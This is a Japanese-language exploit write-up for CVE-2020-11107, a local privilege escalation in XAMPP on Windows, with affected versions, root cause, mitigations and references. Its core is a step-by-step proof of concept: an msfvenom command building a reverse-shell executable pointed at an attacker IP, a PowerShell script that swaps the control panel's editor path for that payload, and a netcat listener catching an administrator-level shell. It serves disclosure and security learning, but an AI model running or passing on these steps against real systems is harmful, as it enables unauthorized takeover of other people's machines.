🧨 CVE-2020-11107 – XAMPP ローカル特権昇格 (Windows)

📌 概要

CVE-2020-11107 は、Windows 上の Apache Friends XAMPP に影響を与える ローカル特権昇格 (LPE) 脆弱性です。

権限のないユーザーが XAMPP コントロールパネルの設定ファイル (xampp-control.ini) を変更し、デフォルトのエディタ実行ファイル (notepad.exe) を悪意のある実行ファイルに置き換えることができます。別のユーザー (例: 管理者) がコントロールパネルからログを開くと、悪意のあるバイナリが 被害者の権限で 実行され、特権昇格 が発生します。

❗ この脆弱性は Linux や macOS には影響しません。

🎯 影響を受けるバージョン

• XAMPP < 7.2.29
• XAMPP 7.3.x < 7.3.16
• XAMPP 7.4.x < 7.4.4

テスト環境

• Windows 10
• XAMPP 7.3.10

🧠 根本原因

• xampp-control.ini はグローバルに書き込み可能
• エディタ/ブラウザのパスが信頼され実行される
• 設定変更は全ユーザーに影響する
• 実行可能パスの検証がない

🗂 重要なファイル

C:\xampp\xampp-control.ini
C:\xampp\xampp-control.exe

🔍 脆弱性の証明

XAMPP バージョンの確認:

type C:\xampp\properties.ini

出力例:

base_stack_version=7.3.10-1
base_stack_platform=windows-x64

✅ このバージョンは脆弱です。

⚔️ エクスプロイト手順 (PoC)

1️⃣ 悪意のあるペイロードの生成 (攻撃者 – Kali)

msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.xxx.xxx LPORT=4444 \
-f exe -o msf.exe

2️⃣ ペイロードをターゲットに転送

mkdir C:\temp
# Upload msf.exe into C:\temp

3️⃣ XAMPP 設定の変更 (低権限ユーザー)

エクスプロイトスクリプト (PowerShell):

# CVE-2020-11107 PoC
$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

スクリプトの実行:

powershell -ExecutionPolicy Bypass -File 50337.ps1

4️⃣ 実行のトリガー (被害者 / 管理者)

被害者が起動:

C:\xampp\xampp-control.exe

次に、コントロールパネルから 任意のログファイル を開きます。

5️⃣ シェルのキャッチ (攻撃者)

nc -lvnp 4444

✅ 結果:

Connection received...
C:\WINDOWS\system32>

🎉 特権昇格成功

📈 影響

• ローカル特権昇格
• 任意のコマンド実行
• システム全体の侵害 (管理者がトリガーした場合)

🛡 緩和策

• XAMPP を以下のバージョン (またはそれ以降) にアップデート:
  • 7.2.29
  • 7.3.16
  • 7.4.4
• 以下のパーミッションを制限:

C:\xampp\xampp-control.ini

• XAMPP コントロールパネル を管理者として実行しない

📚 参考文献

• CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11107
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2020-11107
• Apache Friends アドバイザリ: https://www.apachefriends.org/blog/new_xampp_20200401.html
• Exploit-DB: https://www.exploit-db.com/exploits/50337
• オリジナル研究: https://github.com/S1lkys/CVE-2020-11107